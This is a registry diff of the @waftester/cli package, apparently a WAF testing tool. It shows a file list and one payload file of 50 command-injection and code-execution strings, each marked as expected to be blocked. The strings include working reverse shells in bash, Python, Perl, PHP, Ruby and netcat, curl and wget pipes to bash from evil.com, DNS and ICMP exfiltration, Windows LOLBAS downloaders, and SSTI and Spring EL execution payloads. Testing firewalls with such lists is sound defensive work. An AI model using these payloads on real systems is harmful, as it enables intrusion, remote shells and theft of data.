@waftester/cli 2.8.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +80 -0
- package/LICENSE-COMMUNITY +28 -0
- package/README.md +121 -0
- package/bin/cli.js +152 -0
- package/package.json +52 -0
- package/payloads/community/README.md +45 -0
- package/payloads/community/ai/ml-poisoning.json +173 -0
- package/payloads/community/ai/prompt-injection.json +247 -0
- package/payloads/community/ai/workflow-abuse.json +222 -0
- package/payloads/community/auth/jwt.json +855 -0
- package/payloads/community/auth/login-bypass.json +623 -0
- package/payloads/community/auth/mfa.json +402 -0
- package/payloads/community/auth/oauth.json +421 -0
- package/payloads/community/auth/open-redirect.json +1028 -0
- package/payloads/community/auth/session.json +404 -0
- package/payloads/community/cache/deception.json +402 -0
- package/payloads/community/cache/poisoning.json +403 -0
- package/payloads/community/deserialization/gadget.json +375 -0
- package/payloads/community/deserialization/prototype.json +370 -0
- package/payloads/community/fuzz/content-type.json +397 -0
- package/payloads/community/fuzz/headers.json +401 -0
- package/payloads/community/fuzz/methods.json +397 -0
- package/payloads/community/fuzz/obfuscation.json +362 -0
- package/payloads/community/fuzz/special-chars.json +740 -0
- package/payloads/community/fuzz/waf-bypass.json +452 -0
- package/payloads/community/graphql/batching-abuse.json +271 -0
- package/payloads/community/graphql/depth-limit.json +271 -0
- package/payloads/community/graphql/introspection.json +267 -0
- package/payloads/community/injection/crlf.json +569 -0
- package/payloads/community/injection/ldap.json +357 -0
- package/payloads/community/injection/nosqli.json +529 -0
- package/payloads/community/injection/oscmd.json +662 -0
- package/payloads/community/injection/rce-polyglots.json +452 -0
- package/payloads/community/injection/sqli.json +681 -0
- package/payloads/community/injection/ssti.json +584 -0
- package/payloads/community/injection/upload-attacks.json +632 -0
- package/payloads/community/injection/xpath.json +357 -0
- package/payloads/community/injection/xxe.json +716 -0
- package/payloads/community/logic/forced-browsing.json +405 -0
- package/payloads/community/logic/idor.json +1026 -0
- package/payloads/community/logic/privilege.json +337 -0
- package/payloads/community/media/exif-injection.json +225 -0
- package/payloads/community/media/metadata-poison.json +239 -0
- package/payloads/community/protocol/http-smuggling.json +798 -0
- package/payloads/community/protocol/http2-attacks.json +382 -0
- package/payloads/community/protocol/websocket-abuse.json +375 -0
- package/payloads/community/rate-limit/burst-simulation.json +286 -0
- package/payloads/community/rate-limit/bypass-attempts.json +326 -0
- package/payloads/community/rate-limit/zone-tests.json +332 -0
- package/payloads/community/services/authentik.json +415 -0
- package/payloads/community/services/immich.json +423 -0
- package/payloads/community/services/n8n.json +366 -0
- package/payloads/community/sqli-basic.json +182 -0
- package/payloads/community/ssrf/cloud-metadata.json +999 -0
- package/payloads/community/ssrf/dns-rebinding.json +503 -0
- package/payloads/community/ssrf/internal-networks.json +627 -0
- package/payloads/community/ssrf/protocol-smuggling.json +350 -0
- package/payloads/community/ssti/multi-language-templates.json +191 -0
- package/payloads/community/ssti/python-templates.json +200 -0
- package/payloads/community/traversal/basic.json +675 -0
- package/payloads/community/traversal/cloud-credentials.json +107 -0
- package/payloads/community/traversal/config-files.json +193 -0
- package/payloads/community/traversal/encoding.json +558 -0
- package/payloads/community/traversal/null-byte.json +105 -0
- package/payloads/community/traversal/symlink.json +93 -0
- package/payloads/community/traversal/unicode.json +134 -0
- package/payloads/community/traversal/unix-advanced.json +195 -0
- package/payloads/community/traversal/windows-advanced.json +195 -0
- package/payloads/community/waf-bypass/cloudflare-bypass.json +102 -0
- package/payloads/community/waf-bypass/encoding-bypass.json +120 -0
- package/payloads/community/waf-bypass/evasion-techniques.json +164 -0
- package/payloads/community/waf-bypass/hpp-bypass.json +92 -0
- package/payloads/community/waf-bypass/modsecurity-crs.json +220 -0
- package/payloads/community/waf-bypass/protocol-attacks.json +101 -0
- package/payloads/community/waf-bypass/sqlmap-tamper.json +252 -0
- package/payloads/community/waf-bypass/unicode-charset.json +152 -0
- package/payloads/community/waf-bypass/vendor-bypasses.json +72 -0
- package/payloads/community/waf-validation/README.md +172 -0
- package/payloads/community/waf-validation/bypass-techniques.json +272 -0
- package/payloads/community/waf-validation/custom-rules.json +952 -0
- package/payloads/community/waf-validation/evasion-techniques.json +272 -0
- package/payloads/community/waf-validation/modsecurity-core.json +151 -0
- package/payloads/community/waf-validation/owasp-top10.json +236 -0
- package/payloads/community/waf-validation/regression-tests.json +227 -0
- package/payloads/community/xss/csp-bypass.json +431 -0
- package/payloads/community/xss/dom.json +389 -0
- package/payloads/community/xss/filter-bypass.json +1242 -0
- package/payloads/community/xss/mutation.json +263 -0
- package/payloads/community/xss/polyglots.json +371 -0
- package/payloads/community/xss/reflected.json +187 -0
- package/payloads/community/xss/stored.json +330 -0
- package/payloads/crlf-injection.json +182 -0
- package/payloads/ids-map.json +155 -0
- package/payloads/ldap-injection.json +182 -0
- package/payloads/nosql-injection.json +227 -0
- package/payloads/prototype-pollution.json +182 -0
- package/payloads/request-smuggling.json +182 -0
- package/payloads/version.json +28 -0
- package/payloads/xss-advanced.json +227 -0
- package/templates/README.md +221 -0
- package/templates/nuclei/http/waf-bypass/crlf-bypass.yaml +146 -0
- package/templates/nuclei/http/waf-bypass/lfi-bypass.yaml +152 -0
- package/templates/nuclei/http/waf-bypass/nosqli-bypass.yaml +166 -0
- package/templates/nuclei/http/waf-bypass/rce-bypass.yaml +171 -0
- package/templates/nuclei/http/waf-bypass/sqli-basic.yaml +142 -0
- package/templates/nuclei/http/waf-bypass/sqli-evasion.yaml +192 -0
- package/templates/nuclei/http/waf-bypass/ssrf-bypass.yaml +130 -0
- package/templates/nuclei/http/waf-bypass/ssti-bypass.yaml +147 -0
- package/templates/nuclei/http/waf-bypass/xss-basic.yaml +163 -0
- package/templates/nuclei/http/waf-bypass/xss-evasion.yaml +217 -0
- package/templates/nuclei/http/waf-bypass/xxe-bypass.yaml +204 -0
- package/templates/nuclei/http/waf-detection/akamai-detect.yaml +105 -0
- package/templates/nuclei/http/waf-detection/aws-waf-detect.yaml +115 -0
- package/templates/nuclei/http/waf-detection/azure-waf-detect.yaml +114 -0
- package/templates/nuclei/http/waf-detection/cloudflare-detect.yaml +121 -0
- package/templates/nuclei/http/waf-detection/modsecurity-detect.yaml +129 -0
- package/templates/nuclei/workflows/waf-assessment-workflow.yaml +71 -0
- package/templates/output/asff.tmpl +61 -0
- package/templates/output/csv.tmpl +4 -0
- package/templates/output/junit.tmpl +34 -0
- package/templates/output/markdown-report.tmpl +92 -0
- package/templates/output/slack-notification.tmpl +95 -0
- package/templates/output/text-summary.tmpl +56 -0
- package/templates/overrides/api-only.yaml +130 -0
- package/templates/overrides/crs-tuning.yaml +204 -0
- package/templates/overrides/false-positive-suppression.yaml +159 -0
- package/templates/policies/owasp-top10.yaml +152 -0
- package/templates/policies/pci-dss.yaml +124 -0
- package/templates/policies/permissive.yaml +40 -0
- package/templates/policies/standard.yaml +57 -0
- package/templates/policies/strict.yaml +72 -0
- package/templates/report-configs/compliance.yaml +173 -0
- package/templates/report-configs/dark.yaml +136 -0
- package/templates/report-configs/enterprise.yaml +175 -0
- package/templates/report-configs/minimal.yaml +84 -0
- package/templates/report-configs/print.yaml +139 -0
- package/templates/workflows/api-scan.yaml +132 -0
- package/templates/workflows/ci-gate.yaml +129 -0
- package/templates/workflows/full-scan.yaml +133 -0
- package/templates/workflows/quick-probe.yaml +80 -0
- package/templates/workflows/waf-detection.yaml +89 -0
|
@@ -0,0 +1,452 @@
|
|
|
1
|
+
[
|
|
2
|
+
{
|
|
3
|
+
"id": "RCE-POLY-001",
|
|
4
|
+
"payload": ";${IFS}cat${IFS}/etc/passwd",
|
|
5
|
+
"tags": ["ifs-bypass", "unix", "quick"],
|
|
6
|
+
"expected_block": true,
|
|
7
|
+
"severity_hint": "Critical",
|
|
8
|
+
"notes": "IFS variable space bypass",
|
|
9
|
+
"category": "Injection"
|
|
10
|
+
},
|
|
11
|
+
{
|
|
12
|
+
"id": "RCE-POLY-002",
|
|
13
|
+
"payload": ";{cat,/etc/passwd}",
|
|
14
|
+
"tags": ["brace-expansion", "unix", "quick"],
|
|
15
|
+
"expected_block": true,
|
|
16
|
+
"severity_hint": "Critical",
|
|
17
|
+
"notes": "Bash brace expansion bypass",
|
|
18
|
+
"category": "Injection"
|
|
19
|
+
},
|
|
20
|
+
{
|
|
21
|
+
"id": "RCE-POLY-003",
|
|
22
|
+
"payload": ";cat$IFS/etc/passwd",
|
|
23
|
+
"tags": ["ifs-variable", "unix"],
|
|
24
|
+
"expected_block": true,
|
|
25
|
+
"severity_hint": "Critical",
|
|
26
|
+
"notes": "IFS variable without braces",
|
|
27
|
+
"category": "Injection"
|
|
28
|
+
},
|
|
29
|
+
{
|
|
30
|
+
"id": "RCE-POLY-004",
|
|
31
|
+
"payload": ";X=$'cat\\x20/etc/passwd'&&$X",
|
|
32
|
+
"tags": ["ansi-c", "hex-escape", "unix"],
|
|
33
|
+
"expected_block": true,
|
|
34
|
+
"severity_hint": "Critical",
|
|
35
|
+
"notes": "ANSI-C quoting hex escape",
|
|
36
|
+
"category": "Injection"
|
|
37
|
+
},
|
|
38
|
+
{
|
|
39
|
+
"id": "RCE-POLY-005",
|
|
40
|
+
"payload": "| cat</etc/passwd",
|
|
41
|
+
"tags": ["input-redirect", "unix"],
|
|
42
|
+
"expected_block": true,
|
|
43
|
+
"severity_hint": "Critical",
|
|
44
|
+
"notes": "Input redirection without space",
|
|
45
|
+
"category": "Injection"
|
|
46
|
+
},
|
|
47
|
+
{
|
|
48
|
+
"id": "RCE-POLY-006",
|
|
49
|
+
"payload": "$(printf 'cat /etc/passwd')",
|
|
50
|
+
"tags": ["printf", "substitution"],
|
|
51
|
+
"expected_block": true,
|
|
52
|
+
"severity_hint": "Critical",
|
|
53
|
+
"notes": "Printf command construction",
|
|
54
|
+
"category": "Injection"
|
|
55
|
+
},
|
|
56
|
+
{
|
|
57
|
+
"id": "RCE-POLY-007",
|
|
58
|
+
"payload": "`echo$IFS'cat'$IFS'/etc/passwd'`",
|
|
59
|
+
"tags": ["echo-construction", "ifs"],
|
|
60
|
+
"expected_block": true,
|
|
61
|
+
"severity_hint": "Critical",
|
|
62
|
+
"notes": "Echo with IFS command construction",
|
|
63
|
+
"category": "Injection"
|
|
64
|
+
},
|
|
65
|
+
{
|
|
66
|
+
"id": "RCE-POLY-008",
|
|
67
|
+
"payload": ";/???/c?t /???/p?sswd",
|
|
68
|
+
"tags": ["glob", "wildcard", "unix"],
|
|
69
|
+
"expected_block": true,
|
|
70
|
+
"severity_hint": "Critical",
|
|
71
|
+
"notes": "Glob pattern matching",
|
|
72
|
+
"category": "Injection"
|
|
73
|
+
},
|
|
74
|
+
{
|
|
75
|
+
"id": "RCE-POLY-009",
|
|
76
|
+
"payload": ";/???/[c]at /???/[p]asswd",
|
|
77
|
+
"tags": ["glob", "bracket", "unix"],
|
|
78
|
+
"expected_block": true,
|
|
79
|
+
"severity_hint": "Critical",
|
|
80
|
+
"notes": "Bracket glob expression",
|
|
81
|
+
"category": "Injection"
|
|
82
|
+
},
|
|
83
|
+
{
|
|
84
|
+
"id": "RCE-POLY-010",
|
|
85
|
+
"payload": "${PATH:0:1}etc${PATH:0:1}passwd",
|
|
86
|
+
"tags": ["variable-slice", "path-inject"],
|
|
87
|
+
"expected_block": true,
|
|
88
|
+
"severity_hint": "Critical",
|
|
89
|
+
"notes": "PATH variable slicing for slash",
|
|
90
|
+
"category": "Injection"
|
|
91
|
+
},
|
|
92
|
+
{
|
|
93
|
+
"id": "RCE-POLY-011",
|
|
94
|
+
"payload": "$(echo${IFS}id)",
|
|
95
|
+
"tags": ["echo-exec", "ifs"],
|
|
96
|
+
"expected_block": true,
|
|
97
|
+
"severity_hint": "Critical",
|
|
98
|
+
"notes": "Echo with IFS for execution",
|
|
99
|
+
"category": "Injection"
|
|
100
|
+
},
|
|
101
|
+
{
|
|
102
|
+
"id": "RCE-POLY-012",
|
|
103
|
+
"payload": ";$0<<<'id'",
|
|
104
|
+
"tags": ["here-string", "bash"],
|
|
105
|
+
"expected_block": true,
|
|
106
|
+
"severity_hint": "Critical",
|
|
107
|
+
"notes": "Here-string execution",
|
|
108
|
+
"category": "Injection"
|
|
109
|
+
},
|
|
110
|
+
{
|
|
111
|
+
"id": "RCE-POLY-013",
|
|
112
|
+
"payload": "a]||id||a[",
|
|
113
|
+
"tags": ["bracket-escape", "or-chain"],
|
|
114
|
+
"expected_block": true,
|
|
115
|
+
"severity_hint": "Critical",
|
|
116
|
+
"notes": "Bracket escape with OR chain",
|
|
117
|
+
"category": "Injection"
|
|
118
|
+
},
|
|
119
|
+
{
|
|
120
|
+
"id": "RCE-POLY-014",
|
|
121
|
+
"payload": "a]|id|a[",
|
|
122
|
+
"tags": ["bracket-escape", "pipe"],
|
|
123
|
+
"expected_block": true,
|
|
124
|
+
"severity_hint": "Critical",
|
|
125
|
+
"notes": "Bracket escape with pipe",
|
|
126
|
+
"category": "Injection"
|
|
127
|
+
},
|
|
128
|
+
{
|
|
129
|
+
"id": "RCE-POLY-015",
|
|
130
|
+
"payload": ";bash -c 'id'",
|
|
131
|
+
"tags": ["bash-c", "explicit"],
|
|
132
|
+
"expected_block": true,
|
|
133
|
+
"severity_hint": "Critical",
|
|
134
|
+
"notes": "Explicit bash -c execution",
|
|
135
|
+
"category": "Injection"
|
|
136
|
+
},
|
|
137
|
+
{
|
|
138
|
+
"id": "RCE-POLY-016",
|
|
139
|
+
"payload": ";sh -c 'id'",
|
|
140
|
+
"tags": ["sh-c", "explicit"],
|
|
141
|
+
"expected_block": true,
|
|
142
|
+
"severity_hint": "Critical",
|
|
143
|
+
"notes": "Explicit sh -c execution",
|
|
144
|
+
"category": "Injection"
|
|
145
|
+
},
|
|
146
|
+
{
|
|
147
|
+
"id": "RCE-POLY-017",
|
|
148
|
+
"payload": "|bash -i >& /dev/tcp/10.0.0.1/4444 0>&1",
|
|
149
|
+
"tags": ["reverse-shell", "bash"],
|
|
150
|
+
"expected_block": true,
|
|
151
|
+
"severity_hint": "Critical",
|
|
152
|
+
"notes": "Bash reverse shell",
|
|
153
|
+
"category": "Injection"
|
|
154
|
+
},
|
|
155
|
+
{
|
|
156
|
+
"id": "RCE-POLY-018",
|
|
157
|
+
"payload": "python -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"10.0.0.1\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'",
|
|
158
|
+
"tags": ["reverse-shell", "python"],
|
|
159
|
+
"expected_block": true,
|
|
160
|
+
"severity_hint": "Critical",
|
|
161
|
+
"notes": "Python reverse shell",
|
|
162
|
+
"category": "Injection"
|
|
163
|
+
},
|
|
164
|
+
{
|
|
165
|
+
"id": "RCE-POLY-019",
|
|
166
|
+
"payload": "perl -e 'use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in(4444,inet_aton(\"10.0.0.1\")));open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");'",
|
|
167
|
+
"tags": ["reverse-shell", "perl"],
|
|
168
|
+
"expected_block": true,
|
|
169
|
+
"severity_hint": "Critical",
|
|
170
|
+
"notes": "Perl reverse shell",
|
|
171
|
+
"category": "Injection"
|
|
172
|
+
},
|
|
173
|
+
{
|
|
174
|
+
"id": "RCE-POLY-020",
|
|
175
|
+
"payload": "php -r '$sock=fsockopen(\"10.0.0.1\",4444);exec(\"/bin/sh -i <&3 >&3 2>&3\");'",
|
|
176
|
+
"tags": ["reverse-shell", "php"],
|
|
177
|
+
"expected_block": true,
|
|
178
|
+
"severity_hint": "Critical",
|
|
179
|
+
"notes": "PHP reverse shell",
|
|
180
|
+
"category": "Injection"
|
|
181
|
+
},
|
|
182
|
+
{
|
|
183
|
+
"id": "RCE-POLY-021",
|
|
184
|
+
"payload": "ruby -rsocket -e'f=TCPSocket.open(\"10.0.0.1\",4444).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'",
|
|
185
|
+
"tags": ["reverse-shell", "ruby"],
|
|
186
|
+
"expected_block": true,
|
|
187
|
+
"severity_hint": "Critical",
|
|
188
|
+
"notes": "Ruby reverse shell",
|
|
189
|
+
"category": "Injection"
|
|
190
|
+
},
|
|
191
|
+
{
|
|
192
|
+
"id": "RCE-POLY-022",
|
|
193
|
+
"payload": "nc -e /bin/sh 10.0.0.1 4444",
|
|
194
|
+
"tags": ["reverse-shell", "netcat"],
|
|
195
|
+
"expected_block": true,
|
|
196
|
+
"severity_hint": "Critical",
|
|
197
|
+
"notes": "Netcat reverse shell with -e",
|
|
198
|
+
"category": "Injection"
|
|
199
|
+
},
|
|
200
|
+
{
|
|
201
|
+
"id": "RCE-POLY-023",
|
|
202
|
+
"payload": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f",
|
|
203
|
+
"tags": ["reverse-shell", "netcat-fifo"],
|
|
204
|
+
"expected_block": true,
|
|
205
|
+
"severity_hint": "Critical",
|
|
206
|
+
"notes": "Netcat reverse shell with FIFO",
|
|
207
|
+
"category": "Injection"
|
|
208
|
+
},
|
|
209
|
+
{
|
|
210
|
+
"id": "RCE-POLY-024",
|
|
211
|
+
"payload": ";curl http://evil.com/shell.sh|bash",
|
|
212
|
+
"tags": ["remote-exec", "curl-pipe"],
|
|
213
|
+
"expected_block": true,
|
|
214
|
+
"severity_hint": "Critical",
|
|
215
|
+
"notes": "Curl pipe to bash",
|
|
216
|
+
"category": "Injection"
|
|
217
|
+
},
|
|
218
|
+
{
|
|
219
|
+
"id": "RCE-POLY-025",
|
|
220
|
+
"payload": ";wget -qO- http://evil.com/shell.sh|bash",
|
|
221
|
+
"tags": ["remote-exec", "wget-pipe"],
|
|
222
|
+
"expected_block": true,
|
|
223
|
+
"severity_hint": "Critical",
|
|
224
|
+
"notes": "Wget pipe to bash",
|
|
225
|
+
"category": "Injection"
|
|
226
|
+
},
|
|
227
|
+
{
|
|
228
|
+
"id": "RCE-POLY-026",
|
|
229
|
+
"payload": "{{constructor.constructor('return this.process.mainModule.require(\"child_process\").execSync(\"id\")')()}}",
|
|
230
|
+
"tags": ["nodejs", "prototype-chain"],
|
|
231
|
+
"expected_block": true,
|
|
232
|
+
"severity_hint": "Critical",
|
|
233
|
+
"notes": "Node.js prototype chain RCE",
|
|
234
|
+
"category": "Injection"
|
|
235
|
+
},
|
|
236
|
+
{
|
|
237
|
+
"id": "RCE-POLY-027",
|
|
238
|
+
"payload": "require('child_process').exec('id')",
|
|
239
|
+
"tags": ["nodejs", "require"],
|
|
240
|
+
"expected_block": true,
|
|
241
|
+
"severity_hint": "Critical",
|
|
242
|
+
"notes": "Node.js child_process require",
|
|
243
|
+
"category": "Injection"
|
|
244
|
+
},
|
|
245
|
+
{
|
|
246
|
+
"id": "RCE-POLY-028",
|
|
247
|
+
"payload": "__import__('os').system('id')",
|
|
248
|
+
"tags": ["python", "import"],
|
|
249
|
+
"expected_block": true,
|
|
250
|
+
"severity_hint": "Critical",
|
|
251
|
+
"notes": "Python __import__ RCE",
|
|
252
|
+
"category": "Injection"
|
|
253
|
+
},
|
|
254
|
+
{
|
|
255
|
+
"id": "RCE-POLY-029",
|
|
256
|
+
"payload": "eval(compile('import os;os.system(\"id\")','','exec'))",
|
|
257
|
+
"tags": ["python", "eval-compile"],
|
|
258
|
+
"expected_block": true,
|
|
259
|
+
"severity_hint": "Critical",
|
|
260
|
+
"notes": "Python eval/compile RCE",
|
|
261
|
+
"category": "Injection"
|
|
262
|
+
},
|
|
263
|
+
{
|
|
264
|
+
"id": "RCE-POLY-030",
|
|
265
|
+
"payload": "exec(\"import os;os.system('id')\")",
|
|
266
|
+
"tags": ["python", "exec"],
|
|
267
|
+
"expected_block": true,
|
|
268
|
+
"severity_hint": "Critical",
|
|
269
|
+
"notes": "Python exec RCE",
|
|
270
|
+
"category": "Injection"
|
|
271
|
+
},
|
|
272
|
+
{
|
|
273
|
+
"id": "RCE-POLY-031",
|
|
274
|
+
"payload": "getattr(getattr(__builtins__,'__import__')('os'),'system')('id')",
|
|
275
|
+
"tags": ["python", "getattr-chain"],
|
|
276
|
+
"expected_block": true,
|
|
277
|
+
"severity_hint": "Critical",
|
|
278
|
+
"notes": "Python getattr chain RCE",
|
|
279
|
+
"category": "Injection"
|
|
280
|
+
},
|
|
281
|
+
{
|
|
282
|
+
"id": "RCE-POLY-032",
|
|
283
|
+
"payload": "{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}",
|
|
284
|
+
"tags": ["python", "ssti", "jinja2"],
|
|
285
|
+
"expected_block": true,
|
|
286
|
+
"severity_hint": "Critical",
|
|
287
|
+
"notes": "Jinja2 SSTI file read",
|
|
288
|
+
"category": "Injection"
|
|
289
|
+
},
|
|
290
|
+
{
|
|
291
|
+
"id": "RCE-POLY-033",
|
|
292
|
+
"payload": "{{config.__class__.__init__.__globals__['os'].popen('id').read()}}",
|
|
293
|
+
"tags": ["python", "ssti", "flask"],
|
|
294
|
+
"expected_block": true,
|
|
295
|
+
"severity_hint": "Critical",
|
|
296
|
+
"notes": "Flask config SSTI RCE",
|
|
297
|
+
"category": "Injection"
|
|
298
|
+
},
|
|
299
|
+
{
|
|
300
|
+
"id": "RCE-POLY-034",
|
|
301
|
+
"payload": "#{T(java.lang.Runtime).getRuntime().exec('id')}",
|
|
302
|
+
"tags": ["java", "spring-el"],
|
|
303
|
+
"expected_block": true,
|
|
304
|
+
"severity_hint": "Critical",
|
|
305
|
+
"notes": "Spring Expression Language RCE",
|
|
306
|
+
"category": "Injection"
|
|
307
|
+
},
|
|
308
|
+
{
|
|
309
|
+
"id": "RCE-POLY-035",
|
|
310
|
+
"payload": "${T(java.lang.Runtime).getRuntime().exec('id')}",
|
|
311
|
+
"tags": ["java", "spring-el"],
|
|
312
|
+
"expected_block": true,
|
|
313
|
+
"severity_hint": "Critical",
|
|
314
|
+
"notes": "Spring EL with dollar sign",
|
|
315
|
+
"category": "Injection"
|
|
316
|
+
},
|
|
317
|
+
{
|
|
318
|
+
"id": "RCE-POLY-036",
|
|
319
|
+
"payload": "new java.lang.ProcessBuilder(new java.lang.String[]{\"id\"}).start()",
|
|
320
|
+
"tags": ["java", "process-builder"],
|
|
321
|
+
"expected_block": true,
|
|
322
|
+
"severity_hint": "Critical",
|
|
323
|
+
"notes": "Java ProcessBuilder RCE",
|
|
324
|
+
"category": "Injection"
|
|
325
|
+
},
|
|
326
|
+
{
|
|
327
|
+
"id": "RCE-POLY-037",
|
|
328
|
+
"payload": "${{<%[%'\"}}%\\",
|
|
329
|
+
"tags": ["polyglot", "ssti-detect"],
|
|
330
|
+
"expected_block": true,
|
|
331
|
+
"severity_hint": "High",
|
|
332
|
+
"notes": "SSTI detection polyglot",
|
|
333
|
+
"category": "Injection"
|
|
334
|
+
},
|
|
335
|
+
{
|
|
336
|
+
"id": "RCE-POLY-038",
|
|
337
|
+
"payload": "{{7*7}}[[7*7]]${7*7}${{7*7}}#{7*7}*{7*7}",
|
|
338
|
+
"tags": ["polyglot", "ssti-math"],
|
|
339
|
+
"expected_block": true,
|
|
340
|
+
"severity_hint": "High",
|
|
341
|
+
"notes": "SSTI math evaluation polyglot",
|
|
342
|
+
"category": "Injection"
|
|
343
|
+
},
|
|
344
|
+
{
|
|
345
|
+
"id": "RCE-POLY-039",
|
|
346
|
+
"payload": ";echo${IFS}$(whoami)",
|
|
347
|
+
"tags": ["ifs", "nested-substitution"],
|
|
348
|
+
"expected_block": true,
|
|
349
|
+
"severity_hint": "Critical",
|
|
350
|
+
"notes": "IFS with nested command substitution",
|
|
351
|
+
"category": "Injection"
|
|
352
|
+
},
|
|
353
|
+
{
|
|
354
|
+
"id": "RCE-POLY-040",
|
|
355
|
+
"payload": "||nslookup${IFS}$(whoami).evil.com||",
|
|
356
|
+
"tags": ["dns-exfil", "out-of-band"],
|
|
357
|
+
"expected_block": true,
|
|
358
|
+
"severity_hint": "Critical",
|
|
359
|
+
"notes": "DNS exfiltration OOB",
|
|
360
|
+
"category": "Injection"
|
|
361
|
+
},
|
|
362
|
+
{
|
|
363
|
+
"id": "RCE-POLY-041",
|
|
364
|
+
"payload": ";ping${IFS}-c${IFS}1${IFS}$(whoami).evil.com",
|
|
365
|
+
"tags": ["icmp-exfil", "out-of-band"],
|
|
366
|
+
"expected_block": true,
|
|
367
|
+
"severity_hint": "Critical",
|
|
368
|
+
"notes": "ICMP exfiltration OOB",
|
|
369
|
+
"category": "Injection"
|
|
370
|
+
},
|
|
371
|
+
{
|
|
372
|
+
"id": "RCE-POLY-042",
|
|
373
|
+
"payload": "cmd.exe /c \"whoami\"",
|
|
374
|
+
"tags": ["windows", "cmd"],
|
|
375
|
+
"expected_block": true,
|
|
376
|
+
"severity_hint": "Critical",
|
|
377
|
+
"notes": "Windows cmd.exe execution",
|
|
378
|
+
"category": "Injection"
|
|
379
|
+
},
|
|
380
|
+
{
|
|
381
|
+
"id": "RCE-POLY-043",
|
|
382
|
+
"payload": "powershell.exe -c \"whoami\"",
|
|
383
|
+
"tags": ["windows", "powershell"],
|
|
384
|
+
"expected_block": true,
|
|
385
|
+
"severity_hint": "Critical",
|
|
386
|
+
"notes": "PowerShell command execution",
|
|
387
|
+
"category": "Injection"
|
|
388
|
+
},
|
|
389
|
+
{
|
|
390
|
+
"id": "RCE-POLY-044",
|
|
391
|
+
"payload": "powershell -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0A",
|
|
392
|
+
"tags": ["windows", "powershell", "encoded"],
|
|
393
|
+
"expected_block": true,
|
|
394
|
+
"severity_hint": "Critical",
|
|
395
|
+
"notes": "PowerShell base64 encoded command",
|
|
396
|
+
"category": "Injection"
|
|
397
|
+
},
|
|
398
|
+
{
|
|
399
|
+
"id": "RCE-POLY-045",
|
|
400
|
+
"payload": "certutil -urlcache -split -f http://evil.com/shell.exe C:\\Windows\\Temp\\shell.exe",
|
|
401
|
+
"tags": ["windows", "lolbas", "certutil"],
|
|
402
|
+
"expected_block": true,
|
|
403
|
+
"severity_hint": "Critical",
|
|
404
|
+
"notes": "Certutil download LOLBAS",
|
|
405
|
+
"category": "Injection"
|
|
406
|
+
},
|
|
407
|
+
{
|
|
408
|
+
"id": "RCE-POLY-046",
|
|
409
|
+
"payload": "bitsadmin /transfer job /download /priority high http://evil.com/shell.exe C:\\Windows\\Temp\\shell.exe",
|
|
410
|
+
"tags": ["windows", "lolbas", "bitsadmin"],
|
|
411
|
+
"expected_block": true,
|
|
412
|
+
"severity_hint": "Critical",
|
|
413
|
+
"notes": "Bitsadmin download LOLBAS",
|
|
414
|
+
"category": "Injection"
|
|
415
|
+
},
|
|
416
|
+
{
|
|
417
|
+
"id": "RCE-POLY-047",
|
|
418
|
+
"payload": "mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"calc.exe\"\", 0:close\")",
|
|
419
|
+
"tags": ["windows", "lolbas", "mshta"],
|
|
420
|
+
"expected_block": true,
|
|
421
|
+
"severity_hint": "Critical",
|
|
422
|
+
"notes": "MSHTA VBScript execution",
|
|
423
|
+
"category": "Injection"
|
|
424
|
+
},
|
|
425
|
+
{
|
|
426
|
+
"id": "RCE-POLY-048",
|
|
427
|
+
"payload": "regsvr32 /s /n /u /i:http://evil.com/shell.sct scrobj.dll",
|
|
428
|
+
"tags": ["windows", "lolbas", "regsvr32"],
|
|
429
|
+
"expected_block": true,
|
|
430
|
+
"severity_hint": "Critical",
|
|
431
|
+
"notes": "Regsvr32 SCT execution",
|
|
432
|
+
"category": "Injection"
|
|
433
|
+
},
|
|
434
|
+
{
|
|
435
|
+
"id": "RCE-POLY-049",
|
|
436
|
+
"payload": "rundll32 javascript:\"\\..\\mshtml,RunHTMLApplication\";document.write(\"<script>new%20ActiveXObject('WScript.Shell').Run('calc.exe')</script>\")",
|
|
437
|
+
"tags": ["windows", "lolbas", "rundll32"],
|
|
438
|
+
"expected_block": true,
|
|
439
|
+
"severity_hint": "Critical",
|
|
440
|
+
"notes": "Rundll32 JavaScript execution",
|
|
441
|
+
"category": "Injection"
|
|
442
|
+
},
|
|
443
|
+
{
|
|
444
|
+
"id": "RCE-POLY-050",
|
|
445
|
+
"payload": "wmic process call create \"cmd.exe /c whoami > C:\\out.txt\"",
|
|
446
|
+
"tags": ["windows", "wmic"],
|
|
447
|
+
"expected_block": true,
|
|
448
|
+
"severity_hint": "Critical",
|
|
449
|
+
"notes": "WMIC process creation",
|
|
450
|
+
"category": "Injection"
|
|
451
|
+
}
|
|
452
|
+
]
|